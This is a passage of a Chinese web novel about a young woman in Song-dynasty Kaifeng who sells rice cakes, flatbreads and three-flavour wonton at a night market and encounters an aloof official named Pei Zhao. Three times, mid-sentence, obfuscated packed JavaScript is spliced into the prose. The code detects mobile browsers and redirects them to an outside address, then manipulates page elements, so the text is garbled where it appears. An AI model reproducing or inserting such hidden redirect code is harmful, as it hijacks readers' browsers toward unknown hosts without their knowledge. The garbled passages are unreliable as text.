姜如意闻言笑了起来，在小庵堂里住了这几日，她发现慧慈师太对这位小徒弟，着实十分疼爱。 有时候，自己在厨房里摊些蛋饼，静宛溜过来偷吃，慧慈师太知道了，也睁一只眼闭一只眼。 “对了，姜姐姐和也师父一样，叫我阿宛吧。” 静宛吃着饭还不忘说话，突然她一拍脑袋。 “对了，刚才来的时候师父交待过，等姜姐姐吃完饭了，就过去一趟。” “师太找我有事？” 姜如意纳闷的眨眨眼睛，等她吃过饭后，匆匆朝佛堂走去。 佛堂里，慧慈师太正在和人谈话。 “那糯米糕味道确实好吃，却不是庵里做的，而是借住在庵内的姜小娘子所做。上回因着礼数，这才分了些给香客们，却不好再跟姜小娘子提的。” 慧慈师太看着面前坐着的贵夫人，脸上露出副遗憾的表情，慢条斯理喝了口茶。 宋氏听慧慈师太这样说，也不好再说什么，只是想起前几日那糯米糕，想着以后再也吃不到了，心下颇觉得遗憾。 姜如意迈进屋内，见慧慈师太有客人，正想说晚些时候再来，慧慈师太却笑眯眯的出声叫住她：“姜小娘子来了。” 姜如意见状，这才朝屋里走去。 “听说师太有事找我？” 慧慈师太笑眯眯的摇摇头，朝宋氏身上一指：“却不是我找小娘子，而是这位夫人，因着前日里吃过小娘子做的糯米糕，直夸姜小娘子的手艺极好。” 从姜如意进门开始，宋氏就一直盯着姜如意，见她朝自己看过来，宋氏眼神立刻一亮。 她问道：“听闻那糯米糕是姜小娘子自己做来吃的，就是不知道那糕，小娘子卖不卖？” 宋氏这话说出口，自己先不好意思起来，忍不住朝姜如意笑笑。 姜如意看一眼满脸不好意思的宋氏，又看看表情高深的慧慈师太。 意外又惊喜的眨眨眼睛—— 这是，有回头客找上门了？ 5. 下饭八卦、咸米糕 见姜如意没有说话，宋氏越发有些不好意思起来。 她说道：“姜小娘子若是不得闲，过段时间再做也可以。” 姜如意见宋氏一脸忐忑的模样，连忙摇摇头说道：“倒不是因着这个。” 她解释：“只是糯米糕所用的糯米，需要提前一天浸泡过夜。上回那糕是用糯米粉做的，倒是可以现做，不过味道上，总不如用糯米做的好。” 宋氏一听说还能做的更好吃，忙不迭点点头：“那就等等也无妨，麻烦小娘子了。” 她一边说着，一边掏出银钱递过来：“今日来找小娘子做糕，实在是有些唐突。这是糯米糕的定钱，请小娘子收下。” 姜如意略一思索，就将那袋银钱收下，左右是常来上香的香客，料想同慧慈师太相识，自己提前收下这银钱也无妨。 姜如意又问宋氏爱吃什么馅的，要买多少，若是买的多，不如多做几种馅换着吃。 宋氏连连应好，没想到今日不仅订到了糯米糕，而且还能选口味，心里只觉得这钱花的值得。 等宋氏离开，姜如意才笑眯眯的将那袋银钱拿出来，仔细数了一遍。这一数不要紧，宋氏给的价钱，竟然比市价足足高出一倍。 万万没想到，今日竟然有意外收获。 想想有了这些银钱，再加上自己这几日所赚的钱，自己手头上总算宽裕了不少，姜如意脸上的笑容越发深了些。 她笑眯眯的将银钱收好，头一个向慧慈师太道谢。 慧慈师太待她从自己身边坐下，满脸慈祥的摆摆手：“这是哪的话，全是靠姜小娘子自己结下的善缘。这几日里，着实有好几位香客，同我问起那糯米糕来。” 嗯，姜小娘子做的吃食确实美味。这几日下来，不止是静宛，连她自己都觉得胖了不少。 姜如意开口：“虽是如此，但还是要多谢师太，不然也遇不上这次善缘了。” 慧慈师太一指旁边那盆栀子花：“那就当是，姜小娘子送来这盆花的谢礼吧。” 姜如意看一眼从花二娘那买来的栀子花。 那日回来之后，她将其中一盆栀子花并兰草，摆在了自己屋里的窗台旁边，另一盆，则拿来送给慧慈师太。 姜如意将目光收回来，故意眨眨眼打趣道：“这花养在师太这里，长得格外好。我屋子里那盆，怎得看着就不如师太这盆呢？” 慧慈师太被她逗笑了：“你呀，分明是一样的，这才几天，哪里就分出好坏来了？” 姜如意同慧慈师太笑着说了几句，然后才揣着银钱，脚步轻快的离开。 …… 这一日清早，姜如意才刚一起来，便觉得天气有些阴冷。 待她挎着竹篮子，到了大相国寺外，天边刮起一阵阵大风，天瞧着也黑压压的有些阴沉。 这样的天气，出来游玩上香的人自然不多。姜如意拢着衣领子，站在大树底下吃瓜。 这桩八卦的缘由，是因着不久前，大风吹翻了临街几个摊棚，开封府衙役们前来处理，又提醒大家注意安全。 等衙役们离开，花二娘并其余几名摊贩，凑在一起开始聊八卦。 “你们听说了没有，开封府衙门新来了一位裴少尹，据说来历十分神秘不说，性子也特别清冷古怪。” “可不是吗？听闻这位裴少尹很少露面，平时不当值得时候，连门都极少出，这段时间以来，还从来没有人见过他长什么样呢。” “我还听说这位裴少尹不仅不爱出门，而且还不爱吃饭。整个府里空空荡荡的，连下人都没几个，怕不是有什么隐疾吧？” 大树旁边，两道身影恰好路过，听到街边这压抑着兴奋的议论声，两人脚步稍微停顿了一下。 其中左边那人看一眼身旁的上峰，表情欲言又止。 裴昭淡淡开口：“无妨，走吧。” 姜如意听着这劲爆的八卦，忍不住啧啧出声：“好惨哦。” “……” 裴昭正准备迈开的步子又放下，他顺着这道略带幸灾乐祸的声音看过去，入眼，是位年纪轻轻的女郎。 裴昭皱一下眉头。 嗯，竟还是位眼熟的女郎。 姜如意今日穿了件窄袖修身的袍子，因着有些冷的缘故，领子竖起来些挡住脖子，腰上系了条鹅黄色带子，头上簪两支珠花钿，打扮的清爽利落。 她神情专注的听着八卦，面上嫣然浅笑，一眼望过去，十足一位明媚端秀的美人。 只不过，这位端秀美人一双亮晶晶的眼睛里，明显带着一丝幸灾乐祸。 姜如意感叹过之后，见几人都看着她，好心的用现代医学知识，向大家科普。 “你们想，这位裴少尹不爱吃饭也不爱运动，血糖过低必然会引起心率失常，身体估计不怎么好。” “长此以往，身体越来越弱不说，而且还会性格暴躁易怒，难怪府里的下人都跑光了。” 周围传来一片恍然声，纷纷点头。虽然不明白姜小娘子提到的“血糖”，“心率”是什么意思，但觉得她说的十分有道理。 姜如意等大家议论完了，这才笑眯眯的总结：“所以，还是要按时吃饭和适量运动，才能身体健康。” 裴昭听着那软糯中带着明媚的声音，额头两侧的太阳穴重重跳了一下。 一旁的属官看着今日为避免麻烦，穿常服巡视的上峰，十分尴尬的咳了一声，低低询问：“要不要属下去制止他们？” 裴昭：“不必……” 属官缩了一下头，飞快朝那边看了一眼。 他怎么感觉，自己从裴少尹这两个字里，听出一股咬牙切齿的味道呢？ 大树下面，似乎注意到旁边有人，几名摊贩们都收起了八卦的心思，纷纷回去摆摊。 姜如意看一眼面前二人，眼睛弯起一抹笑容问道：“客人要买薄脆胡饼吗？是今早新出炉的，又脆又酥香。若是买的多了，还有优惠。” 面前这二人看上去气度不凡，尤其右侧那位年轻郎君，丰神俊朗不凡，一双桃花眼清冷深邃，看着就招女郎们喜欢。 嗯……就是看上去脸色不太好，发青，估计时常生闷气。 姜如意略微有些遗憾的看他一眼，再看另一位年纪大些的郎君，发现他看向自己的眼神古怪，似乎隐隐带了点同情。 莫不是因着这样的天气，对她这辛苦摆摊的孤女，起了恻隐之心？ 姜如意随意从心里想着，忍不住低头闷声笑笑，面上却不显。 王属官看着眼前篮子里的薄脆胡饼，心里倒真有些意动。 这两日，他也听说了大相国寺外，有家卖的极好的薄脆胡饼。干净酥香不说，关键是以前从未吃过，莫非就是这家？ 他家里娘子惯爱吃这些小零嘴，不如买回去给娘子尝尝。 姜如意见他要买，连忙用竹夹子夹起一块饼递过来，说道：“郎君若是头一次买，可以先尝尝味道，若是喜欢再买。” “小娘子想的周到。”王属官点了点头，正要伸手接过来。 耳边，突然间响起一道冷淡的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182030|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音：“不买。” 额。王属官伸出去的手尴尬的停在半空中，扭头就见一道目光看向自己，裴少尹嘴唇抿紧成一条线，神情冷淡如冰，王属官讪笑着收回手。 他差点忘了，今日例行巡视，还不到下值的时候。 姜如意见状纳闷：“两位郎君不买了吗？” “不必了。” 裴昭冷淡的看她一眼，丢下这句话，转身朝街上走去。 …… 裴府。 傍晚时候，裴昭才刚跨进府门，就见一道活泼的身影，飞快的朝自己冲过来。 裴昭沉默着侧身躲过，开口唤他：“十三郎。” 不远处，管事从里面气喘吁吁的追过来，一见到裴昭，连忙恭敬的停下开口：“阿郎下值回来了。” 说着，又苦笑着看了前面的小郎君一眼。 裴拾跑到裴昭面前停住，手里拿着样东西，兴冲冲的朝他喊道：“阿兄你回来了，这是我从娘那里，新寻来的糯米糕，我尝过了味道极好，阿兄你也尝尝。” 裴昭看一眼他手上，果然见他拿着一块米糕。 那糕色白如雪，切成四四方方形状，中间还夹着一层金黄色内馅。样式是夫人们惯常喜爱的模样，只是瞧着更精致些。 裴拾见阿兄还站在原地，连忙又伸手一拍脑袋，不好意思的退开一步。 “我光顾着等阿兄回来了，忘了阿兄才刚下值。不过阿兄你待会儿一定要尝尝，真的很好吃。” 裴昭见他用一双期待的眼睛看着自己，稍一思索便点点头：“好。” 裴拾欢呼了一声，连忙跑进了房间里，将带来的糯米糕，一块块摆在盘子里，推到裴昭面前。 裴昭迎着他期待的眼神，伸手拿起一块，放入口中。 他原本不喜这些甜腻的吃食，等一口咬下去，意外的挑了一下眉，抬头看向裴拾。 “咸的？” 裴拾得意的点点头：“阿兄没想到吧？我刚吃到的时候，也觉得十分意外，糯米糕怎么会有咸口的呢？但是后来越吃越好吃，根本停不下来。” 裴昭重新看了手中的糕一眼，等嘴里的咸米糕吃完，又咬了一口，这次细细咀嚼。 的确是糯米糕没错，用了新鲜的糯米，里面夹了口感沙沙的内馅，观这颜色和味道，像是咸蛋黄？ 糯米中似乎混合了油脂，应该是在蒸之前，就让那油脂渗入到泡软的糯米粒中，使口感更加绵软丰腴，吃起来比甜的糯米糕更香软些。 倒是不知这样新奇讲究的咸米糕，是出自城中哪家大商铺子。 裴昭将这一块咸米糕吃完，朝裴拾点点头：“味道很好。” 裴拾乐呵呵说道：“我就知道阿兄会喜欢。” “那阿兄你慢慢吃，我先回去了，要是回去晚了，被父亲发现我又溜出来就糟糕了。” “哦，对了，这纸袋里是全部的咸米糕，阿兄你留着慢慢吃。”裴拾说完，如同来时一般风风火火的离开。 裴昭看着他背影消失在门外，有些无奈的将视线收回来，微勾一下唇角，低头朝桌上那纸袋看去，紧接着瞳孔一缩。 一个熟悉的姜字映入眼中。 裴拾皱起了眉头，将那纸袋拿起来，仔细端详了几眼。 脑海中，似乎浮现出今日大树下，那双幸灾乐祸的明媚笑脸。 “好惨哦。” …… “呵。” 片刻后，裴昭从喉间发出了道冷笑，一扬手，将那纸袋子掷回了桌上。 6. 州桥夜市、山药砂锅粥 似乎是因着天气的原因，一直等到收摊的时间，来买薄脆胡饼的客人都不多。 姜如意将布幌子收起来，又用青布仔细将篮子里的饼盖好，她同花二娘打过招呼，挎着竹篮子朝庵堂方向走去。 小庵堂中，静宛正焦急的在门口张望，见到姜如意回来，长长松了一口气，连忙迎上来。 “姜姐姐你终于回来了，师父怕夜里要下雨，特意让我在门口等你。” 姜如意看着静宛冻红了的小脸，伸手朝她的胖圆脸蛋上捂了捂：“怎么也不找个避风的地方？有劳师太惦记了。” 阿宛咧开嘴笑笑，自己摸一下冻红的圆脸，不怎么在意的揉了揉：“我一点都不冷。” 静宛和姜如意一起进了门，回身将庵门关上，等进到佛堂内，就见慧慈师太端着两碗姜汤过来。 “今日天寒，姜小娘子喝碗姜汤驱驱寒。” 姜如意接过碗，感激朝慧慈师太笑笑：“多谢师太。” 两人喝姜汤的工夫，慧慈师太摸一下静宛冰凉的胖圆脸，忍不住责备：“怎得不穿件厚衣服就去了？” 静宛大大咧咧的笑道：“刚才光顾着等姜姐姐，忘记了。” 慧慈师太见小徒弟这副粗枝大叶的样子，到底叹一口气：“你呀。”伸手点一下静宛的的额头，将她两只小胖手放在怀里捂着。 …… 第二日清晨，姜如意早早的起床，端着一锅米粥去了慧慈师太屋里。 这米粥是今早用梗米，加上红枣，红豆和山药，用砂锅小火慢慢熬煮出来的。 提前将红豆浸泡好，和洗好的粳米一起下锅。山药切成小块，上锅隔水蒸制。 红枣处理起来要稍麻烦些，等枣泡到胀大后先去核，然后再去枣皮。 因着枣的数量不多，姜如意拿了把小刀子，坐在厨房里面一点点刮，这样刮出来的枣又干净又细腻，一点枣皮都看不见。 等砂锅里的水滚了，她将去皮的红枣和蒸软的山药块放进粥里，然后就用小火慢慢熬着，耐心的在一旁等待。 等这一锅山药枣泥砂锅粥出炉，掀开盖子只觉得米香扑鼻，喝一口进嘴黏糊糊、甜滋滋的，在这清冷的早晨，实在是种难得的享受。 慧慈师太坐在桌子旁边，喝着这做法细致的山药枣泥砂锅粥，吃着薄脆胡饼和一碟五香小咸菜，忍不住啧啧称赞。 “好讲究的粥，这样盛在砂锅里的粥，生平还是头一次喝到，尝着怎得格外的香浓粘稠？” 姜如意笑笑，指一指那砂锅，朝慧慈师太说道：“砂锅相比于寻常锅子，内壁更加厚实，密闭性也更好，各种食材闷在里面，经过长时间的熬煮，滋味和香气自然更加香浓。” “当然了，食材的搭配也很重要。” 姜如意调皮的笑笑：“若是食材搭配的不对，可就真是乱成一锅粥了。” 慧慈师太被这形容逗笑了，仔细想想，却又觉得有道理。 慧慈师太点点头：“原来如此，姜小娘子果然有巧思。” 紧接着又感叹：“自从姜小娘子来了庵里之后，我和阿宛的胃口，都似被小娘子养刁了。” 慧慈师太一边说着，一边又拿起勺子喝了一口，边喝边不住的赞叹，显然是真喜欢。 慧慈师太将那一碗粥喝完，又吃了两个薄脆胡饼，这才终于停下，用手摸一下肚子。 她看一眼桌上那烤的香酥金黄的薄饼，笑容慈祥的朝姜如意说道：“这段时日在大相国寺外卖饼，料想姜小娘子存下些银钱。但是依着我看，终究不是长久之计。” 姜如意听慧慈师太这样说，十分赞同的点头：“师太说的是。” 大相国寺并不是每日都开放交易，只是前段日子因着节气的缘故，所以才连续开放了几天。现如今，又恢复了每月五日开放。 况且自己每日往返大相国寺，又要拿东西、又要提前准备好吃食，路上耽误工夫不说，能卖的吃食也有限，十分不方便。 这几日，她正考虑去夜市上转转，看看能不能在夜市置办个摊子。 姜如意心里这样想着，就把想法细细说给慧慈师太听。 慧慈师太听着姜如意的打算，也觉得可行。 她想了想说道：“若说热闹，除了大相国寺，当属州桥夜市，况且距离也近些，姜小娘子若是想摆摊，不妨考虑一下。” 姜如意倒是没想到，慧慈师太跟自己想到一块去了。 她笑着点点头：“这两日正要去看看呢，倒不想师太先提出来了。” 慧慈师太笑了起来：“我就知道，姜小娘子惯是聪慧有主意的。” 姜如意轻抿一下嘴角笑笑。 既然决定下来，也不再犹豫，等这日白天在大相国寺外卖完薄脆胡饼，到了傍晚，她朝州桥夜市的方向走去。 四周夜幕低垂，州桥夜市却灯火通明，热闹如白昼。热闹的街道上，卖干脯的，卖肉食的，卖各种甜品果子的应有尽有，关键价格也十分便宜。 姜如意看着那热闹摊子上面，摆着眼花缭乱的吃食，想了想，买了一份麻腐鸡皮，坐在摊子旁的长条凳上，慢慢低头吃起来。 麻腐并不是麻辣豆腐，而是以绿豆粉和芝麻为主料，口感软嫩形似豆腐而得名。鸡皮先用沸水煮过，然后再浸凉水冷却，这样吃起来口感才劲道。 将麻腐和鸡皮两种食材拌在一起，上面浇一勺芝麻酱，吃在嘴里又滑又劲道，滋味清爽，酱汁香浓，实在让人回味无穷。 若说缺点嘛……就是份量有点少，单吃一份吃不饱。 姜如意咂摸咂摸嘴，又朝周围的摊子上看了一眼，见大部分吃食的份量都不是很多，不少客人吃完一份，会再买一份别的。 姜如意坐在原处，看着人来人往的夜市，无声思索起来。 接下来几日，只要有空闲，姜如意就会来夜市上逛逛，偶尔也买份吃食，顺便了解一下价格。 经过连续几天的考察之后，姜如意终于决定了摆摊要卖的吃食。 …… 清晨时分，肉铺里面传来一阵阵响亮的磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182031|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀声。 肉铺老板将刀磨好，把案板上的羊肉斩大块，又依照不同部位摆好。正忙碌着，从铺子外面走进来位相貌端秀的小娘子。 肉铺老板见来了客人，连忙热情的上前招呼，介绍今日有新鲜的羊肉，又说哪些部位适合清炖，哪些适合炙烤。 不料，来的这位小娘子却摇摇头，双眼弯起个笑容问道：“请问可有豚肉卖？” 那肉铺老板愣了一下，纳闷的看一眼这小娘子，然后点点头，给她指了指右边的案板。 姜如意顺着他指的方向看过去，果然见到那里摆着大块的豚肉，许是卖的不如羊肉好的缘故，都随意摆放在一起，不过瞧着都十分新鲜。 姜如意朝摆豚肉的案板前走去，同时，心里也知道肉铺老板为何是这样的表情。 在本朝，豚肉虽然不似前朝那样低贱，但价格依然十分低廉，地位与羊肉不能相比。归根结底，还是因着烹饪方式，和处理不当的原因。 不过姜如意却喜欢吃。 一方面是豚肉的价格低，定价上就能便宜一些，另一方面是，处理好的豚肉肥瘦相宜、做法不一，每一种都非常美味，绝对不输给羊肉。 姜如意挑了一大块肥肉相间的五花肉，并一块前腿肉，又问老板能不能帮忙剁成馅。 左右这会儿没别的客人，肉铺老板点点头，瞧着姜如意买的多，还特意多送了一块。 姜如意见状道了一声谢，等肉铺老板剁馅的工夫，她对着外头的街道细细思索起来。 经过这几天在夜市的考察，她打算摆摊卖馄饨。 这几日在夜市上，她观察到，夜里出来买吃食的，除了上街游玩的游人之外，还有刚下值或者下学的人，而且人数还不少。 这个时节虽然已经入了夏，但是早上和晚上的温度仍然低。 过路行人或者刚下值下学的客人，在饥肠辘辘的时候，吃上一碗热腾腾的馄饨，想必十分有生意。 等再过一个来月，天气热起来也不要紧。只要小摊子有了固定的客人，到时候，再研究增加其它吃食就是了。 姜如意从心里打定了主意，今日一早就来街上买豚肉。 因着还要熬汤和包馄饨，加上剁肉调馅，她一个人忙不过来，所以她特意绕开了外面的小摊子，选了这间大铺子，想着若是老板能给剁成馅最好。 瞧着肉铺老板熟练的将肉剁好，姜如意又问，若是她以后来买豚肉，能不能都帮忙剁成馅。 那肉铺老板十分厚道，点点头说可以，而且还不另收费。 姜如意没想到今日还有意外之喜，她朝肉铺老板道了声谢，然后接过剁好的肉馅，又从这条街上买了木耳、紫菜、虾皮并各种调料。 再然后，她拎着这大包小包，脚步轻快的朝庵堂里走去。 中午简单的吃过饭，姜如意开始忙碌起来。 她将晚上要卖的馄饨料调好，皮子擀到厚薄适中，又把锅里的汤煮沸腾。 等到了傍晚时分，姜如意的小摊子就开张了。 7. 大碗小碗、三鲜小馄饨 今日，来州桥夜市闲逛的人们，就发现州桥夜市上，新开了一家眼生的馄饨摊子。 这摊子位于夜市西侧，占地不是很大，摊子的样式是夜市上见惯了的，一头摆着个炉灶，上面放着煮馄饨的大汤锅，另一头则放着一叠瓷白色的碗，碗都是倒扣着的，瞧着就十分洁净。 汤锅和白瓷碗中间，一块大案板打横放置，上面摆着瓷盆。 瓷盆里是调好的馄饨馅，旁边还有擀好的四方皮子，都细心的用棉布盖住，只留出一角。 在那一叠碗的最右边，还摆着个竹篮子，篮子上面，插着一个不大的布幌子。 这样干净讲究的摊子，况摊主又是个年轻貌美的小娘子，一出现就吸引了不少人注意。 渐渐的，开始有人在摊子前面驻足。 其中一名客人问道：“卖的是什么馅的馄饨？可是羊肉馅的？” 姜如意摇摇头，朝着那客人回答：“却不是羊肉馅，而是三鲜小馄饨。用豚肉、木耳和鲜虾做馅，汤是用鸡架和筒骨熬的高汤。夜晚天凉，客人要不要来一碗尝尝？” 那客人一听说用的豚肉，脸上就露出个迟疑的表情。 豚肉馅的馄饨？ 味道怕是不好入口吧？ 姜如意面对客人的迟疑，早有准备。 她笑笑说道：“因着今日是第一天出摊，前十位品尝的客人可以享受半价优惠。若是不好吃，客人只管起身走人，也损失不了几文不是？” 那客人听着姜如意的语气，倒是跟着笑了起来。 他稍微犹豫了一下，就点点头：“那好，就来一碗三鲜馄饨。” 姜如意又问：“客人是要大碗还是小碗的？大碗馄饨十六文，小碗的十二文。” 嗯，就冲着这价钱也公道。 那客人不禁点点头，想了一下，到底不确定加了豚肉的馄饨好吃不好吃，他说道：“就要小碗的吧。” 姜如意弯起一双眼睛：“小碗十二文，半价是六文钱，请客人先找位置坐下，馄饨马上就好。” 那客人见当真是半价，虽然还没吃上，心里却觉得高兴，十分痛快的付了钱。 周围原本就有人观望，一听说馄饨果然半价，当即就有和第一位客人一样付钱的，要的也都是小碗。 姜如意一一将那些钱收下，然后就掀开盖在瓷盆上的棉布，拿起一根细细的小竹板，一手拿馄饨皮，将调好的三鲜馅往皮里包去。 客人们见状有是一阵意外。 咦，竟然还是现包现卖的馄饨？这可是新鲜。 先前付过钱的那几位客人，顿时觉得这钱花的值。有好奇的，都伸长了脖子去看姜如意包馄饨。 这样的场面，顿时又有几位客人被吸引了过来，问清了价格，同样要了一碗，其中一名中年模样的郎君，还破天荒要了个大碗的。 姜如意依样笑眯眯的将钱收下，请客人先坐。 她手里的小竹板飞快的一挑一按，将馅放在面皮中间，两只手灵活的捏住馄饨皮两头，虎口朝内一收，再往中间一捏，一个元宝形状的馄饨就包好了。 旁边的汤锅里不住的冒着热气，等水沸腾的时候，姜如意面前的馄饨正好包完。 只见一个两个形状圆胖的小馄饨下锅，先跳入水里，然后再一个接一个浮上来，那些等待的食客们还没吃到嘴，心里就开始期待起来。 这却还没完，只见姜如意将摊上反扣的白瓷碗拿起来，整齐的摆在桌上，早已有准备好的虾皮、紫菜，还有黄嫩嫩的蛋皮并佐料，都一一放入碗中，拿热腾腾的高汤一浇…… 霎那间，小摊子周围香气四溢，食客们忍不住吸吸鼻子，都大声喊香。 小摊子周围热气缭绕，人声热闹。 等那一碗三鲜小馄饨摆在面前，客人们低头去看。只见碗里面，粉白色的元宝馄饨配上嫩黄色的蛋皮，深色的紫菜和浅色的虾皮，光看着就觉得赏心悦目。 几名客人都不由自主的拿起勺子，舀了一只馄饨小心翼翼的朝嘴里放去。 “嘶…哈……” 滚烫的馄饨入口，顿时响起一连串被烫的哈气的声音，不过却没人舍得松嘴。 这加了豚肉的馄饨吃起来有些……嗯？吃起来有些、不不，格外的香啊。 那食客们惊讶的看一眼勺子里的馄饨，又咬了一口。入口，没有想象中的腥臊味，而是香浓的肉味加上木耳的嚼劲，还有虾的鲜嫩爽滑口感。 一个字，香！ 这食客忍不住咬着馄饨赞叹出声：“实在是太好吃了。” 其余客人显然也是一样，纷纷点着头，抬起头来看向姜如意大声夸道。 “小娘子，你这三鲜小馄饨味道真好，小娘子好手艺。” “竟然真是加了豚肉的馅，怎么吃起来一点怪味都没有，还越嚼越香呢？” “里面的虾也新鲜，口感爽滑不说，我还嚼到大颗的虾粒了。” 周围路过的行人听着食客们的夸奖声，纷纷好奇的停住步子，看这边看过来。 什么？这馄饨这么好吃吗？ 不过摊子看起来倒是顶干净的。 什么？竟然还是现吃现包的？一碗最多只要十六文，小碗的只要十二文？ 还愣着做什么，吃啊。 围观的食客们纷纷管不住自己的脚，朝摊子前走去。等他们回过神来，发现自己已经付过钱，面前都摆了一碗热腾腾的小馄饨。 食客们下意识的拿起勺子，尝了一口，全都被这鲜香味惊呆。也不管自己已经吃过晡食，纷纷低下头狼吞虎咽起来。 好吃，爱吃，明天还来吃。 姜如意看着吃的一脸满足的食客，有些意外的眨眨眼，这样看来，她好像低估了馄饨受欢迎的程度啊。 随着食客们越来越多，提前准备的馅和皮子很快见了底。 姜如意看一眼周围越来越多跃跃欲试的客人，又低头看一眼空掉的瓷盆，只能抱歉的笑笑，说今日馄饨卖完了，请客人们明天再来。 那些客人听姜如意这样说，纷纷遗憾的叹一口气，看着眼前吃的正香的食客们，一脸不情愿的离开，心里还暗暗后悔。 唉，你说自己怎么就没早点来呢？ 不过也有眼尖的客人，瞧着那布幌子十分眼熟，试探着问道：“可是前段时间，在大相国寺外，卖薄脆胡饼的姜小娘子？” 姜如意点点头：“正是，客人好眼力。” 那客人一听真的是，连忙问今日还卖不卖薄脆胡饼，又说正遗憾吃不上薄脆胡饼，没想到竟然在这里遇上小娘子。 姜如意一边掀开竹篮子上的青布，一边笑着回答：“可不是正巧吗？难得客人惦记着，今日是单买还是要一份十个包好了的？” 那客人连忙说：“要包好了的，先买三包。” 紧接着又笑笑：“也不知道姜小娘子以后，还卖不卖这薄脆胡饼，万一不卖了，就再也吃不到了。” 姜如意朝他安慰道：“客人放心，这薄脆胡饼会一直卖。如今又添了三鲜小馄饨，客人今后若是得了空，可以来尝尝。” 那客人早就闻见了馄饨香，闻言连忙点点头，说明天自己一定早来。 又卖了一阵子薄脆胡饼，等送走了最后一位客人，姜如意才有空算今日的收入。 不算不知道，这一算之下，姜如意发现今日所赚到的银钱，竟然比之前单单卖饼要高上一倍不止。 这样算下来，她买食材置办摊子的钱，很快就能赚回来不说，还能多付几个月的房钱。 姜如意笑眯眯的从心里想着，收拾完摊子朝小庵堂走去。 接下来几日，汴京城里渐渐传开了，州桥夜市上卖的三鲜小馄饨。 “你们听说了没有，州桥夜市新开了一个馄饨摊，卖的极好吃的馄饨呢。” “馄饨有什么新鲜的？城内各大酒楼和食店里，家家都有卖的。” 先前说话的那人摆摆手：“嘿嘿，一看你就没去尝过。实话告诉你，那家馄饨用的是豚肉馅，加了木耳和鲜虾，那滋味，啧啧，光想着就让人流口水。” “豚肉馅？豚肉还能做馅？” 先前说话那人神神秘秘的笑笑：“不但能做馅，而且滋味相当美妙，完全不输给羊肉馅。不说了，我得早去夜市上排队，去晚了就卖光了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182032|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 随着这样的对话越来越多，姜如意渐渐发现，她的馄饨摊子越来越火爆了。 这些眼生的客人还格外的相似，先是看一眼摊子上那布幌子，问是不是姜小娘子，又问豚肉真的能入馅？ 姜如意遇到这样的客人，皆好脾气的笑笑，说客人们若是不放心，可以先要小碗的尝尝。 等尝过之后，那些客人们无一例外，都成了三鲜馄饨的忠实粉丝。 其中，馄饨好吃是一个原因。 另外，这三鲜馄饨可是汴京城中独一份的，怎么能不尝尝？ 就这样，但凡吃到的客人，无不得意的跟身边人炫耀，其余排队没吃上的见了，也只能叹气改日再来。 开封府衙门里，张易正绘声绘色的跟同僚，说着那三鲜小馄饨。 “你们不知道，那姜小娘子卖的馄饨当真讲究，馅料里面有肉有虾不说，价格还便宜，大碗的只要十六文钱。嘿嘿，还是我有先见之明，直接买了大碗的。” “汤里又有蛋皮、紫菜、虾皮，还有精心熬制好的高汤，一勺子舀起来，连馄饨带汤的吃下去，那滋味，啧啧，可太美了。” 立马有人叹气：“可惜那馄饨只能现场去吃，若是能外送到衙门，咱们也能改善改善伙食不是？” 这话一出，立刻引起了众人的赞同，而后又纷纷遗憾的摇头惋惜。 裴昭才刚迈入衙门，就听到里面传来一阵叹气伴随着吸口水的声音，忍不住轻皱起眉头。 一旁的王属官连忙扳起脸来，训斥众人几句。 等众人散了，朝裴昭说道：“裴少尹勿生气，这几日里接连上街巡查，底下人不能按时下值，着实也疲惫了，这才聚在一起说说话放松。” “无妨。”裴昭淡淡的摇头，略微沉吟了一下：“如今立夏节庆已过，天气也转晴，从今日起，不必再加强巡视了。” 王属官连忙点了点头，觉得裴少尹人虽冷清了点，却当真体恤下属。 裴昭吩咐完，不再说话，朝衙门的档案房走去。 …… 没过多久，小庵堂中，慧慈师太和静宛，也吃上了这三鲜小馄饨。不过馄饨里面的肉馅换成了素馅的，加了冬菇、笋子和木耳。 这样一碗汤鲜料足的小馄饨，连一向吃饭节制的慧慈师太，都吃了两碗。 静宛自始至终，脑袋都没从碗里抬起来，还一边吃一边点头：“真好吃。姜姐姐，我还从来没有吃过这么好吃的馄饨呢。” 姜如意弯眼笑笑，她看着静宛面前空掉的碗，又起身给她盛了一碗。 …… 夜市中，姜如意正跟花二娘闲聊。 因着大相国寺闭市，这两日，花二娘也将卖花的摊子搬到夜市上。好巧不巧，恰好跟姜如意又成了邻居。 这段时日接触下来，花二娘的性子好，人也健谈，姜如意有这样的邻居，不忙的时候凑在一起闲聊，日子过的倒也悠闲有趣。 等将前面一波客人的馄饨煮完，姜如意坐在摊子上，眯着眼睛看汴京城夜景。 